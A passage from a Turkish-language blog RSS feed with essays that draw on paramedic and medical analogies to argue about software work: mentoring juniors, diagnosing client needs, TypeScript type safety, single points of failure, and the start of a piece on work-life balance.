<p>Henry Ford'un ünlü bir sözü vardır: <em>"Ya çalışanlarımızı eğitirsek ve giderlerse?"</em> diye soran ortağına şu cevabı verir: <em>"Ya eğitmezsek ve kalırlarsa?"</em></p>
<p>Eğitilmemiş, usta eli değmemiş, sadece StackOverflow ve yapay zeka çıktılarından kopyala-yapıştır yaparak "Senior" unvanı almış milyonlarca mühendisle doldu ortalık. Ve bugün sistemlerin neden bu kadar sık çöktüğünü, neden her projenin teknik borç batağında boğulduğunu merak ediyoruz.</p>
<h3>Gerçek Senior'lığın Tanımı</h3>
<p>Eğer bir şirkette "Senior Software Engineer" unvanına sahipseniz ama arkanızda sizin sayenizde büyümüş, sizin tecrübenizle güçlenmiş, sizin bilginizi devralmış tek bir junior mühendis bile yoksa; kusura bakmayın ama siz henüz kıdemli değilsiniz. Siz sadece kod yazmayı iyi bilen, pahalı ve tek kullanımlık bir iş gücüsünüz.</p>
<p>Tıpta bir cerrahın büyüklüğü, tek başına yaptığı ameliyatların sayısıyla değil; arkasında bıraktığı cerrahi ekolüyle ve yetiştirdiği uzmanlarla ölçülür.</p>
<p>Usta-çırak bağı bir lütuf değildir; bu sektöre olan borcumuzdur. Bir zamanlar birileri bizim yazdığımız berbat kodlara sabretti, birileri bize git rebase'in mantığını sabırla anlattı, birileri kriz anında panikle elimiz ayağımıza dolandığında omzumuza dokunup <em>"Sakin ol, çözeriz"</em> dedi.</p>
<p>Eğer bugün o koltukta oturuyorsak, o borcu ödemek zorundayız:<br>
Bir kez gördük.<br>
Yıllarca yaptık.<br>
Şimdi arkamıza dönüp, sabırla öğretme vaktidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>kariyer</category>
            <category>mentorship</category>
            <category>junior</category>
            <category>usta-cirak</category>
            <category>yazilim-sektoru</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/see-one-do-one-teach-one-tibbin-yuzyillik-usta-cirak-modelini-yazilim-sektoru-neden-kaybetti/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Hastanın İstediği İlacı Değil, İhtiyacı Olan Tedaviyi Vermek: Yazılım Müşterisine "Hekim" Gibi Yaklaşmak]]></title>
            <link>http://localhost:3000/blog/post/hastanin-istedigi-ilaci-degil-ihtiyaci-olan-tedaviyi-vermek-yazilim-musterisine-hekim-gibi-yaklasmak</link>
            <guid>hastanin-istedigi-ilaci-degil-ihtiyaci-olan-tedaviyi-vermek-yazilim-musterisine-hekim-gibi-yaklasmak</guid>
            <pubDate>Wed, 14 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Acile gelip "Bana bir antibiyotik ve ağrı kesici iğne yapın" diyen hasta ile kapıyı "Bize yapay zekalı bir mobil uygulama lazım" diye çalan müşteri arasındaki benzerlik. Yazılımcı garson değil, hekim olmalıdır.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/hastanin-istedigi-ilaci-degil-ihtiyaci-olan-tedaviyi-vermek-yazilim-musterisine-hekim-gibi-yaklasmak/thumbnail" alt=""> Acil serviste nöbet tuttuğunuz bir akşam, kapıdan içeri hışımla bir hasta girer. Muayene masasına oturur oturmaz, şikayetini anlatmak yerine doğrudan reçetesini kendisi verir:<br>
<em>"Doktor bey, benim boğazım çok fena. Komşuma çok iyi gelen bir antibiyotik vardı, bir de kalçadan güçlü bir ağrı kesici iğne yapın, hemen ayağa kalkmam lazım."</em></p>
<p>Eğer acil servisteki hekim bir "garson" gibi davransaydı ne yapardı?<br>
Menüyü açar, hastanın istediği antibiyotiği ve iğneyi yazar, <em>"Afiyet olsun, kasada ödemeyi yapabilirsiniz"</em> derdi. Hasta da mutlu mesut evine dönerdi.</p>
<p>Ama iyi bir hekim bunu asla yapmaz. Çünkü hekim bilir ki, o hasta belki de viral bir üst solunum yolu enfeksiyonu geçiriyordur; antibiyotik hiçbir işe yaramayacağı gibi bağırsak florasını çökertecek ve dirençli bakteriler yaratacaktır. Ya da o boğaz ağrısının arkasında henüz başlangıç aşamasında olan bambaşka bir enfeksiyon veya alerjik reaksiyon yatıyordur.</p>
<p>Hekim hastaya sakin bir sesle sorar: <em>"Neyiniz olduğunu bırakın ben anlayayım. Bana sadece ne hissettiğinizi anlatın. Şikayetiniz ne zaman başladı?"</em></p>
<p>İşte tıp dünyasında buna <strong>Anamnez (Hasta Hikayesi Alma)</strong> denir. Hasta kendi teşhisini koyamaz; hasta sadece semptomları yaşar. Teşhisi koymak ve doğru tedaviyi belirlemek uzmanın namusudur.</p>
<p>Peki, yazılım ve teknoloji danışmanlığı dünyasına geldiğimizde ne oluyor?</p>
<h3>"Garson Yazılımcılık" Salgını</h3>
<p>Teknoloji şirketlerinin, yazılım ajanslarının ve freelancer'ların ezici bir çoğunluğu ne yazık ki kendilerini birer "mühendis" veya "uzman" gibi değil; sipariş alan birer garson gibi konumlandırıyor.</p>
<p>Müşteri kapıdan içeri girer:<br>
<em>"Biz şirketimiz için bir mobil uygulama istiyoruz. İçinde mutlaka yapay zekalı bir chatbot olacak. Altyapıyı da mikroservis mimarisinde, Kubernetes üzerinde kuralım."</em></p>
<p>Ajans sahibinin veya satış temsilcisinin gözleri parlar. Çünkü müşterinin istediği her bir havalı kelime, faturaya eklenecek sıfırlar demektir. Hemen bir teklif hazırlanır: <em>"Tabii ki efendim! React Native mobil app, OpenAI API entegrasyonu, 12 mikroservis, AWS Kubernetes cluster... Teslim süresi 6 ay, maliyeti şu kadar."</em></p>
<p>Sipariş alınır, mutfağa (yazılımcılara) iletilir. Aylar süren kanlı bir geliştirme sürecinin, yüz binlerce liralık harcamanın ardından ürün teslim edilir.</p>
<p>Ve sonuç ne olur?</p>
<p>Mobil uygulamayı indiren kullanıcı sayısı 40'ı geçmez. Müşterinin operasyonel sorunları zerre kadar çözülmemiştir. Şirket içi süreçler hâlâ dökülüyordur. Yapay zeka chatbot'u kimse kullanmıyordur ve şirket her ay binlerce dolarlık anlamsız bir AWS sunucu faturasıyla baş başa kalmıştır. Müşteri parasını kaybetmiştir, yazılımcısına küsmüştür; ajans ise arkasından <em>"Biz müşterinin istediği her şeyi harfiyen yaptık, satamadılarsa bizim suçumuz ne?"</em> diyerek omuz silker.</p>
<p>Bu, boğazı ağrıyan hastaya antibiyotik yazıp evine gönderen ve iki gün sonra böbrek yetmezliğiyle yoğun bakıma düşmesine seyirci kalan sahte bir hekimin tavrından farksızdır.</p>
<h3>Semptom ile Çözümü Birbirinden Ayırmak</h3>
<p>Yıllar içinde bir teknoloji şirketi yönetirken ve onlarca müşteriyle masaya otururken öğrendiğim en kıymetli ders şudur:<br>
<strong>Müşteri size asla gerçek ihtiyacıyla gelmez. Müşteri size, kendi kafasında kurduğu "çözüm varsayımıyla" gelir.</strong></p>
<p>Müşteri <em>"Bize mobil uygulama lazım"</em> dediğinde, aslında mobil uygulamaya ihtiyacı yoktur. Onun asıl semptomu şudur: <em>"Saha satış ekibim siparişleri kâğıda yazıyor, akşam ofise gelene kadar merkezde kimse ne satıldığını bilmiyor, stoklar karışıyor ve müşterilere geç teslimat yapıyoruz."</em></p>
<p>İşte semptom budur. Hastalık: Veri akışındaki gecikme ve stok yönetimindeki kaos.</p>
<p>Eğer siz müşteriyi dinleyip semptomu doğru anlarsanız, ona 6 ay sürecek 50 bin dolarlık bir mobil uygulama satmazsınız. Belki de onların ihtiyacı olan şey; mevcut ERP sistemlerine bağlanacak 3 sayfalık basit, duyarlı (responsive) bir web arayüzü veya sadece WhatsApp bildirimlerini otomatik işleyen 200 satırlık basit bir entegrasyondur. İki haftada teslim edilir, müşterinin cirosunu kurtarır ve şirket nefes alır.</p>
<p>Ama bunu yapabilmek için masada garson değil, hekim gibi oturmanız gerekir.</p>
<h3>"Hayır" Diyebilme Namusu</h3>
<p>Bir hekimin en büyük erdemi, gereksiz bir ameliyatı veya zararlı bir ilacı reddetmektir. Hipokrat Yemini'nin temeli <em>"Primum non nocere"</em> — yani <strong>"Önce zarar verme"</strong> ilkesine dayanır.</p>
<p>Yazılım sektörünün de acilen kendi Hipokrat Yemini'ne ihtiyacı var.</p>
<p>Müşteri masaya oturup <em>"Biz bu projede blokzincir (blockchain) ve yapay zeka kullanmak istiyoruz"</em> dediğinde; ona sırf kasasına fatura kesebilmek için <em>"Harika fikir!"</em> demek ahlaki bir çürümedir. Gerçek bir mühendis, müşterisinin gözlerinin içine bakar ve şunu söyler:</p>
<p><em>"Bu teknolojiye ihtiyacınız yok. Bu teknoloji sizin probleminizi çözmez; aksine bütçenizi tüketir, sisteminizi gereksiz yere karmaşıklaştırır ve ekibinizi yorar. Sizin asıl derdiniz şu, gelin bunu en sade, en sağlam ve en az maliyetli yolla çözelim."</em></p>
<p>Bunu söylediğiniz an iki şeyden biri olur:<br>
Eğer karşınızdaki vizyonsuz, sadece gösteriş peşinde koşan biriyse masadan kalkar ve parasını dolandırıcılara kaptırır.<br>
Ama eğer aklı başında bir iş insanıysa, gözleri açılır. O an anlar ki karşınızda ona bir şeyler satmaya çalışan bir pazarlamacı değil; kendi parasını ve şirketini kendisinden daha çok koruyan gerçek bir uzman oturmaktadır.</p>
<p>O andan itibaren satış ilişkisi biter; <strong>güven ilişkisi</strong> başlar. Ve o müşteri, sonraki on yıl boyunca başka hiçbir yazılımcının kapısını çalmaz.</p>
<h3>Reçeteyi Uzman Yazar</h3>
<p>Acil servise gelen hastaya saygı duyarız, acısını anlarız, onu şefkatle dinleriz. Ama stetoskop hekimin boynundadır, neşter cerrahın elindedir.</p>
<p>Yazılımda da müşterinizin sektörünü, işini ve vizyonunu en iyi kendisi bilebilir; buna sonuna kadar saygı duymalısınız. Ancak teknolojinin nasıl kurgulanacağı, hangi mimarinin seçileceği ve hangi problemin nasıl çözüleceği sizin sorumluluk alanınızdır.</p>
<p>Müşterinin istediği ilacı değil, ihtiyacı olan tedaviyi verin.<br>
Sipariş alan bir garson olmayı bırakın; teşhis koyan bir mühendis olun.</p>
<p>Çünkü hastayı memnun eden şey anlık tatlı sözler değil; ayağa kalkıp sağlıklı bir şekilde yürümeye başlamasıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>girisimcilik</category>
            <category>musteri-yonetimi</category>
            <category>danismanlik</category>
            <category>freelance</category>
            <category>yazilim</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/hastanin-istedigi-ilaci-degil-ihtiyaci-olan-tedaviyi-vermek-yazilim-musterisine-hekim-gibi-yaklasmak/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Dozaj Hatası Affetmez: TypeScript ve Tip Güvenliği Neden Bir "Tercih" Değil, Yaşam Destek Ünitesidir?]]></title>
            <link>http://localhost:3000/blog/post/dozaj-hatasi-affetmez-typescript-ve-tip-guvenligi-neden-bir-tercih-degil-yasam-destek-unitesidir</link>
            <guid>dozaj-hatasi-affetmez-typescript-ve-tip-guvenligi-neden-bir-tercih-degil-yasam-destek-unitesidir</guid>
            <pubDate>Tue, 13 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sahada 1 mg Adrenalin vermekle 10 mg vermek arasındaki fark yaşamla ölümdür. JavaScript'te "any" yazıp geçmenin, esnek tiplerin ve runtime sürprizlerinin faturası üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/dozaj-hatasi-affetmez-typescript-ve-tip-guvenligi-neden-bir-tercih-degil-yasam-destek-unitesidir/thumbnail" alt=""> Acil tıp eğitiminin farmakoloji derslerinde hocalarımızın tahtaya vura vura ezberlettiği bir kural vardır: <em>"İlaç ile zehir arasındaki tek fark dozdur."</em></p>
<p>Ambulansın arkasında, kalbi durmuş (kardiyak arrest) bir hastaya CPR yaparken defibrilatör ritim analiz eder, göğüs kompresyonu devam eder ve ekip lideri bağırır: <em>"1 miligram Adrenalin hazırla!"</em></p>
<p>O an eliniz ilaca uzandığında zihninizde saniyenin onda biri kadar bir sürede devasa bir doğrulama algoritması çalışır. Çünkü rafta duran ampullere baktığınızda, Atropin de Adrenalin de Aritmal de şeffaf bir cam tüpün içindeki renksiz birer sıvıdan ibarettir. Eğer yorgunluktan gözünüz kararır da 1 mg yerine 10 mg çekerseniz veya mikrogram (mcg) ile miligramı (mg) birbirine karıştırırsanız, hastayı hayata döndürmez; onu kendi ellerinizle öldürürsünüz.</p>
<p>Sağlıkçıların kanına işlemiş olan <strong>"5 Doğru İlkesi"</strong> tam olarak bu yüzden vardır:</p>
<ol>
<li>Doğru hasta,</li>
<li>Doğru ilaç,</li>
<li>Doğru doz,</li>
<li>Doğru yol (IV/IM/IO),</li>
<li>Doğru zaman.</li>
</ol>
<p>Bu beş kuraldan tek bir tanesini bile "esnetemezsiniz". Kimse <em>"Canım ne olacak, 1 ml sıvı işte, damardan gitse ne olur kabadan gitse ne olur"</em> demez. Tıpta tipler (types), miktarlar (values) ve sınırlar (boundaries) tartışmaya kapalıdır.</p>
<p>Peki yazılım dünyasına döndüğümüzde ne yapıyoruz?</p>
<h3>JavaScript'in Tehlikeli Esnekliği</h3>
<p>Yazılım dünyasının en popüler dili olan JavaScript'in doğuş felsefesini hatırlayalım: Tarayıcıda birkaç butonu hareket ettirmek, form alanlarını kontrol etmek ve kullanıcıya sevimli animasyonlar göstermek. Hata vermesin, çökmesin, ne olursa olsun bir şekilde çalışmaya devam etsin diye tasarlandı.</p>
<p>Ve bu "hoşgörü", modern yazılım dünyasının en ölümcül virüsüne dönüştü.</p>
<p>JavaScript'te bir sayı ile bir metni toplayabilirsiniz: <code>"5" + 3</code> yazarsınız ve dil size kızmak yerine gülümseyerek <code>"53"</code> cevabını verir. Bir fonksiyon iki parametre beklerken siz sıfır parametre geçersiniz; sistem çökmez, parametrelere sessizce <code>undefined</code> basar. Olmayan bir objenin altındaki özelliği okumaya çalışırsınız; derleme anında tek bir uyarı bile almazsınız.</p>
<p>Sonra ne olur?</p>
<p>Gece yarısı telefonunuz çalar. Şirketin e-ticaret platformunda faturalandırma servisi çökmüştür. Neden mi? Çünkü ödeme API'sinden gelen <code>total_amount</code> alanı bir yerde string (<code>"1500"</code>), diğer yerde number (<code>1500</code>) olarak ele alınmış; indirim kodu uygulanırken matematiksel çıkarma yerine metin birleştirme yapılmış ve müşteriden 1500 TL yerine 0 TL tahsil edilmiştir. Veya daha kötüsü: Canlı ortamda kullanıcı profil sayfasına tıkladığında o meşhur, kan dondurucu hata ekranı fırlar:</p>
<p><code>TypeError: Cannot read properties of undefined (reading 'map')</code></p>
<p>İşte bu hata, acil tıpta hastaya yanlış ilacı verdikten sonra monitörde gördüğünüz ventriküler fibrilasyon dalgasıdır. Hasta ölmüştür, monitör ötmeye başlamıştır ve siz neyin ters gittiğini anlamak için panik içinde log kayıtlarını (hastanın dosyasını) karıştırırsınız.</p>
<h3>"TypeScript Beni Yavaşlatıyor" Zırvası</h3>
<p>Son yıllarda TypeScript sektör standardı haline gelmiş olsa da, hâlâ pek çok geliştiriciden ve startup kurucusundan aynı itirazı duyuyorum:<br>
<em>"TypeScript geliştirme hızımızı kesiyor. Sürekli interface tanımlamakla, type casting ile uğraşıyoruz. Biz hızlıca prototip çıkarıp pazara girmeliyiz (Move fast and break things)."</em></p>
<p>Bu argüman, sahada acelesi olan bir paramediğin <em>"Ampulün üzerindeki etiketi okumak beni yavaşlatıyor, çekip rastgele basayım işte"</em> demesiyle birebir aynı mantıksal hezeyandır.</p>
<p>Evet, TypeScript yazarken fazladan birkaç satır kod yazarsınız. Fonksiyonunuzun ne aldığını, ne döndürdüğünü, hangi alanların <code>null</code> olabileceğini açıkça belirtmek zorunda kalırsınız. Bazen derleyici (compiler) size inatla kırmızı dalgalı çizgiler çeker ve <em>"Burada tip uyumsuzluğu var, geçemezsin!"</em> der.</p>
<p>Ama o kırmızı çizgi, sizin düşmanınız değildir. O kırmızı çizgi, gece saat üçte yatağınızdan fırlayıp sunucuya SSH ile bağlanmanızı engelleyen dijital bir emniyet kilididir.</p>
<p>TypeScript sizi yavaşlatmaz. TypeScript, hatayı <strong>müşterinin ve kullanıcının önünde (Runtime)</strong> yapmaktan alıp, henüz kodu yazarken kendi bilgisayarınızın içinde <strong>(Compile Time)</strong> güvenli bir şekilde patlatmanızı sağlar. Hatayı derleme anında yakalamanın maliyeti sıfır liradır; o hatayı production'da bir kullanıcının satın alma sepetinde yakalamanın maliyeti ise bazen yüz binlerce dolardır.</p>
<h3><code>any</code> Kullanmak: Etiketsiz Ampulü Hastaya Enjekte Etmek</h3>
<p>TypeScript projelerinde gördüğüm en büyük günah ise <code>any</code> tipinin pervasızca kullanılmasıdır. Geliştirici derleyicinin uyarısıyla baş edemediği an, kolay yola kaçar:</p>
<pre><code class="language-typescript">const processPayment = (data: any) => { ... }
</code></pre>
<p>Bir değişkene <code>any</code> atadığınız an, aslında TypeScript derleyicisine şunu söylersiniz: <em>"Gözlerini kapat. Sana güvenmiyorum. Buradaki kuralları askıya al."</em></p>
<p>Bu, acil tıp dolabındaki ilacın üzerindeki etiketi kazıyıp, üstüne tükenmez kalemle <em>"Bir şeyler işte"</em> yazmaya benzer. O an işinizi görür, derleyici susar, derleme işlemi başarıyla tamamlanır. Ama o fonksiyonun içine neyin gireceği ve oradan neyin çıkacağı artık tamamen karanlıktadır. İlk beklenmedik veri dalgasında sistem patlayacak ve arkasında hiçbir iz bırakmayacaktır.</p>
<p>Eğer bir projede TypeScript kullanıyor ama her sıkıştığınız yere <code>any</code> basıyorsanız, kendinizi kandırıyorsunuz demektir. Güvenlik kemeri takmış gibi yapıp arkadan bağlayan bir sürücüden farkınız yoktur.</p>
<h3>Tip Güvenliği Bir Tercih Değildir</h3>
<p>Bugün karmaşık dağıtık sistemler, onlarca mikroservis, yüzlerce üçüncü parti API ve devasa ekiplerle yazılım geliştiriyoruz. İnsan beyninin, tek bir projede dolaşan binlerce veri tipinin tüm varyasyonlarını, kenar durumlarını (edge cases) ve null olasılıklarını aklında tutabilmesi biyolojik olarak imkânsızdır.</p>
<p>Tip güvenliği (Type Safety) fildişi kulelerde yaşayan bilgisayar bilimcilerinin bir kaprisi değildir. Tip güvenliği; yorgun, uykusuz, dikkati dağılmış insanların hata yapmasını engelleyen zihinsel bir dış iskelettir.</p>
<p>Dozaj hatasının affedilmediği bir dünyada yaşıyoruz. Kodunuz ister bir hastane cihazını yönetsin, ister sıradan bir e-ticaret sepetini; kullanıcılarınızın güvenini ve paranızı riske atıyorsunuz demektir.</p>
<p>Bir dahaki sefere TypeScript derleyicisi önünüze bir hata çıkardığında ona kızmayın.<br>
Çünkü o kırmızı çizgi; sizi, şirketinizi ve itibarınızı az önce ölümcül bir doz aşımından kurtardı.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>typescript</category>
            <category>type-safety</category>
            <category>javascript</category>
            <category>paramedik</category>
            <category>kod-kalitesi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/dozaj-hatasi-affetmez-typescript-ve-tip-guvenligi-neden-bir-tercih-degil-yasam-destek-unitesidir/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[İki Damar Yolu Prensibi: "Single Point of Failure" (SPOF) ve Gerçek Hayatta Yedeklilik]]></title>
            <link>http://localhost:3000/blog/post/iki-damar-yolu-prensibi-single-point-of-failure-spof-ve-gercek-hayatta-yedeklilik</link>
            <guid>iki-damar-yolu-prensibi-single-point-of-failure-spof-ve-gercek-hayatta-yedeklilik</guid>
            <pubDate>Mon, 12 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Ağır bir travma hastasında paramedikler asla tek bir damar yoluyla yetinmez. Peki yazılımcılar neden milyar dolarlık sistemleri tek bir DNS sağlayıcısına veya SaaS aracına emanet edip rahatça uyur?]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/iki-damar-yolu-prensibi-single-point-of-failure-spof-ve-gercek-hayatta-yedeklilik/thumbnail" alt=""> Siren sesleri arasında bir trafik kazası mahalline ulaştığınızda ve araçtan bilinci kapalı, nabzı zayıflayan bir kazazedeyi çıkardığınızda, ambulanstaki o dar ve sallantılı sedyede geçen her saniyenin hayati bir ağırlığı vardır. Kıdemli bir paramedik sedyenin soluna, siz sağına geçersiniz. Yaptığınız ilk reflekslerden biri nedir biliyor musunuz? Hastanın kolunu bağlayıp hızla geniş çaplı bir damar yolu (genellikle 14 veya 16 gauge, o gri ya da turuncu kalın intraketlerden biri) açmak.</p>
<p>Sol koldan damar yolunu başarıyla açtığınız an, henüz stajyer olan birinin içi rahatlayabilir: "Tamam, kanala girdik, serumu ve acil ilaçları verebiliriz."</p>
<p>Ama tecrübeli paramedik durmaz. Hemen diğer kolu işaret eder: <em>"Sağ kola da bir tane aç."</em></p>
<p>Stajyer şaşırır: <em>"Ama zaten sol koldan açtık, sıvı akıyor, neden hastayı tekrar delelim?"</em></p>
<p>Cevap, acil tıbbın mezarlıklarla ödenmiş en acımasız kurallarından biridir: <strong>Tek damar yolu, hiç damar yolu demektir.</strong></p>
<p>Çünkü o hasta birazdan şoka girebilir, damarları büzüşüp çökebilir. Ambulans hızla viraj alırken iğne yerinden kayabilir, damar patlayabilir (ekstravazasyon), verdiğiniz kritik ilaç doku altına sızabilir. Kalp durduğunda ya da tansiyon sıfıra yaklaştığında, patlamış bir damarın başında yeni bir delik arayacak 10 saniyeniz bile olmaz. İkinci bir damar yolu bir lüks veya aşırılık değildir; o an ile ölüm arasındaki yegane emniyet kemeridir.</p>
<h3>Bulutun Sahte Güvenlik İllüzyonu</h3>
<p>Şimdi bu sahneden çıkıp, kahve kokulu açık ofislere veya evdeki o konforlu çalışma masalarımıza dönelim.</p>
<p>Yazılım dünyasında bu duruma verilen teknik bir isim var: <strong>Single Point of Failure (SPOF)</strong> — yani "Tek Hata Noktası". Tanımı basittir: Çöktüğü anda arkasındaki tüm sistemi felç eden tekil bileşen. Teoride her bilgisayar mühendisliği öğrencisi bunu bilir. Sistem tasarımı mülakatlarında herkes tahtaya çift load balancer, yedekli veritabanları (multi-AZ replication) ve dağıtık kuyruklar çizer.</p>
<p>Ama iş gerçek hayattaki mimarilere geldiğinde, devasa şirketlerin bile akıl almaz bir saflıkla "tek bir damar yoluna" mahkûm yaşadığını görürsünüz.</p>
<p>Tüm kimlik doğrulama sistemini tek bir üçüncü parti SaaS servisine (mesela Auth0) bağlarlar. Tüm DNS trafiğini tek bir sağlayıcının ellerine teslim ederler. Bütün CI/CD süreçlerini tek bir platformun sunucularına emanet ederler. Ve sonra ne olur?</p>
<p>Cloudflare bir BGP yönlendirme hatası yapar; dünya internetinin yarısı kararır. AWS'in <code>us-east-1</code> veri merkezinde bir API gateway aksar; akıllı süpürgelerden bankacılık uygulamalarına kadar her şey taş devrine döner. Bir güvenlik yazılımı (adını hepimizin bildiği o ünlü güncelleme vakası) tek bir bozuk konfigürasyon dosyası yollar; havaalanlarında uçuşlar durur, hastane monitörleri mavi ekrana düşer.</p>
<p>O gün Slack kanallarında yöneticilerin ve mühendislerin dövünüşünü izlersiniz: <em>"Bizim kodumuzda hata yok, servis sağlayıcı çöktü!"</em></p>
<p>Evet, sizin kodunuzda hata yoktu. Tıpkı ambulansta damarı patlayan hastanın kendi kendine şoka girmemesi gibi. Ama siz, tek bir damar yoluna güvenerek hastayı yola çıkarmıştınız.</p>
<h3>Yedeklilik (Redundancy) Masraf Değildir</h3>
<p>Yazılımcılar ve özellikle şirketlerin finans departmanları, gerçek anlamda yedekli (redundant) bir altyapı kurmayı çoğu zaman "gereksiz maliyet" olarak görür.</p>
<p><em>"Neden Cloudflare'in yanına ikinci bir DNS yapılandırması kuralım ki? Zaten adamlar %99.99 SLA veriyor."</em><br>
<em>"Neden Stripe'ın yanına alternatif bir ödeme geçidi entegre edelim? Kod tabanı iki kat karmaşıklaşır."</em><br>
<em>"Neden veritabanının soğuk bir yedeğini tamamen farklı bir bulut sağlayıcıda (mesela AWS dışındaki bağımsız bir bare-metal sunucuda) tutalım?"</em></p>
<p>Bu soruları soran zihniyet, ambulansta <em>"Zaten sol kolda damar yolu açık, ikinci intraket 5 lira, o parayı harcamayalım"</em> diyen zihniyetle aynıdır.</p>
<p>Sistem sorunsuz çalışırken yedeklilik gerçekten de göze batar. Fazladan konfigürasyon demektir, fazladan bakım demektir, faturada fazladan satır demektir. Tıpkı kazazedenin sağ koluna takılı duran ve içinden henüz tek bir damla ilaç geçmemiş o boş plastik intraket gibi... Orada öylece, anlamsızca durur.</p>
<p>Ta ki o sol koldaki damar patlayana kadar.</p>
<p>O an geldiğinde, o boş plastik parçası dünyanın en değerli nesnesine dönüşür. Saniyeler içinde ilacı sağ koldan verir, hastanın kalbini ritimde tutarsınız. Ne ambulans durur, ne müdahale kesilir.</p>
<p>Yazılımda da durum farksızdır. Birincil ödeme sağlayıcınız zaman aşımına uğradığında trafiği saniyesinde ikinci sağlayıcıya yönlendirebilecek bir "circuit breaker" mimariniz varsa; bir DNS sağlayıcısı çöktüğünde secondary DNS devreye giriyorsa, kullanıcılarınız aradaki kesintiyi fark etmez bile. Şirketiniz milyonlarca liralık ciro kaybından ve en önemlisi silinmesi aylar süren o güven erozyonundan kurtulur.</p>
<h3>Gerçek Mühendislik Krizden Önce Başlar</h3>
<p>Sahada hayat kurtaran şey mucizeler değildir; kötü gün senaryolarına duyulan saygıdır. Paramedik, hastanın her an kötüleşebileceğini kabullendiği için hazırlıklıdır.</p>
<p>Sistem mühendisliği de tam olarak budur. Eğer bir mimari tasarlarken <em>"X servisi asla çökmez"</em> varsayımıyla yola çıkıyorsanız, henüz mühendislik yapmıyorsunuz demektir; sadece kumar oynuyorsunuzdur. Çünkü doğanın, elektriğin, kabloların ve insanların olduğu her yerde her şey çöker. Sunucular yanar, fiber kabloları kepçeler koparır, en güvenilir şirketlerin veri merkezleri su basar.</p>
<p>Bir dahaki sefere sisteminizin mimari şemasına baktığınızda kendinize şu soruyu sorun:<br>
<em>"Eğer şu an en çok güvendiğim kutucuk haritadan silinseydi, sistemim yaşamaya devam eder miydi?"</em></p>
<p>Eğer bu sorunun cevabı derin bir sessizlik ve soğuk bir ter damlasıysa; bilin ki hastanız sedyede tek bir damar yoluyla yatıyor. Ve yol çok engebeli.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>mimari</category>
            <category>spof</category>
            <category>high-availability</category>
            <category>paramedik</category>
            <category>yedeklilik</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/iki-damar-yolu-prensibi-single-point-of-failure-spof-ve-gercek-hayatta-yedeklilik/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[404 Hayat Bulunamadı: Yazılımcıların İş-Yaşam Dengesi Yalanı]]></title>
            <link>http://localhost:3000/blog/post/404-hayat-bulunamadi-yazilimcilarin-is-yasam-dengesi-yalani</link>
            <guid>404-hayat-bulunamadi-yazilimcilarin-is-yasam-dengesi-yalani</guid>
            <pubDate>Sun, 11 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA["Work-life balance" kavramının, özellikle start-up kültüründe nasıl bir pazarlama hilesi olduğu. Ofiste masa tenisi masası olması denge değildir.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/404-hayat-bulunamadi-yazilimcilarin-is-yasam-dengesi-yalani/thumbnail" alt=""> Yazılım şirketlerinin kariyer sayfalarını açtığınızda sizi karşılayan o tanıdık vaatler listesini hepimiz ezbere biliriz: "Esnek çalışma saatleri", "Uzaktan çalışma imkânı", "Sınırsız izin politikası", "Ofiste oyun odası ve ücretsiz yemek". Hepsinin altında ise o büyülü, sihirli, herkesin peşinde koştuğu ama kimsenin gerçekten elde edemediği kavram parıldar: <strong>Work-Life Balance.</strong></p>
<p>İş-yaşam dengesi. Kulağa bir yoga dersinin ardından lavanta çayı içerken söylenecek kadar huzurlu geliyor, değil mi? Ama bir dakika. Eğer bu denge gerçekten sağlanabilseydi, neden yazılım sektörü dünyanın en yüksek tükenmişlik (burnout) oranlarına sahip sektörlerden biri?</p>
<h3>Sınırsız İznin Sınırsız Yalanı</h3>
<p>"Sınırsız izin politikası" (Unlimited PTO), son yılların en parlak kurumsal yalanıdır. Teoride istediğiniz kadar izin alabilirsiniz. Pratikte ise kimse izin almaz. Çünkü belirlenmiş bir izin kotanız olmadığında, her aldığınız izin günü bir "seçim" haline gelir. Ve o seçim, görünmez bir yargılanma süzgecinden geçer.</p>
<p>"Ahmet bu çeyrekte 15 gün izin almış, acaba yeterince bağlı mı projeye?" Bu cümle hiçbir zaman yüksek sesle söylenmez ama herkesin bilinçaltında dolanır. Sonuç olarak, sınırsız izin politikası olan şirketlerde çalışanlar, geleneksel 20 günlük kotası olan şirketlere göre ortalama olarak <strong>daha az</strong> izin kullanırlar.</p>
<p>Bir paramedik olarak 24 saatlik nöbet sistemini yaşamış biri olarak "denge" kavramının ne olduğunu ve ne olmadığını çok iyi bilirim. 24 saat boyunca her an bir çağrı gelebilir. O 24 saatin sonunda eve gittiğinizde bedeniniz orada olsa bile beyniniz hâlâ son müdahaleyi tekrar eder. "Daha iyi yapabilir miydim?" sorusu sizi uyutmaz.</p>
<p>Yazılım dünyasında 24 saatlik nöbet yoktur ama Slack bildirimleri 24 saat vardır. Ve bir Slack bildirimi, bir ambulans sireninden daha az acil olmasına rağmen, aynı stres yanıtını tetikleyebilir.</p>
<h3>Oyun Odası Paradoksu</h3>
